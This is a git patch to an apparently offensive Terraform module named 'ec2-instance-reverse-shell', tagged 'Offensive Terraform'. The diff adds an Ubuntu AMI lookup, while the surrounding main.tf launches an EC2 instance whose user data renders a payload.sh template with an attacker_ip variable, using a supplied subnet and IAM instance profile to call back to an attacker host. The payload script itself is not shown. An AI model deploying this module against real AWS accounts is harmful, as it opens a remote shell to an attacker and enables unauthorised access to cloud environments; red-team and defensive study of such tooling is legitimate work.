From 0bd7a113dc7ada9c979da375a1338c6d83092428 Mon Sep 17 00:00:00 2001 From: sciorms <35541338+sciorms@users.noreply.github.com> Date: Sat, 19 Sep 2020 12:33:34 -0400 Subject: [PATCH] Modified main.tf to use data.tf for AMI lookup --- data.tf | 9 +++++++++ main.tf | 48 ++++++++++++++++++++++++------------------------ 2 files changed, 33 insertions(+), 24 deletions(-) create mode 100644 data.tf diff --git a/data.tf b/data.tf new file mode 100644 index 0000000..d2014d5 --- /dev/null +++ b/data.tf @@ -0,0 +1,9 @@ +data "aws_ami" "ubuntu" { + most_recent = true + owners = ["099720109477"] + + filter { + name = "name" + values = ["ubuntu/images/hvm-ssd/ubuntu-bionic-18.04-amd64-server-*"] + } +} \ No newline at end of file diff --git a/main.tf b/main.tf index 8fdc4e2..75e0008 100644 --- a/main.tf +++ b/main.tf @@ -1,24 +1,24 @@ -terraform { - required_version = ">= 0.12" -} - -resource "aws_instance" "this" { - ami = "ami-06b263d6ceff0b3dd" - instance_type = "t2.micro" - subnet_id = var.subnet_id - iam_instance_profile = var.iam_instance_profile - user_data = data.template_file.user_data.rendered - associate_public_ip_address = true - - tags = { - CreatedBy = "Offensive Terraform" - } -} - -data "template_file" "user_data" { - template = file(".terraform/modules/ec2-instance-reverse-shell/payload.sh") - - vars = { - attacker_ip = var.attacker_ip - } -} +terraform { + required_version = ">= 0.12" +} + +resource "aws_instance" "this" { + ami = data.aws_ami.ubuntu.id + instance_type = "t2.micro" + subnet_id = var.subnet_id + iam_instance_profile = var.iam_instance_profile + user_data = data.template_file.user_data.rendered + associate_public_ip_address = true + + tags = { + CreatedBy = "Offensive Terraform" + } +} + +data "template_file" "user_data" { + template = file(".terraform/modules/ec2-instance-reverse-shell/payload.sh") + + vars = { + attacker_ip = var.attacker_ip + } +} \ No newline at end of file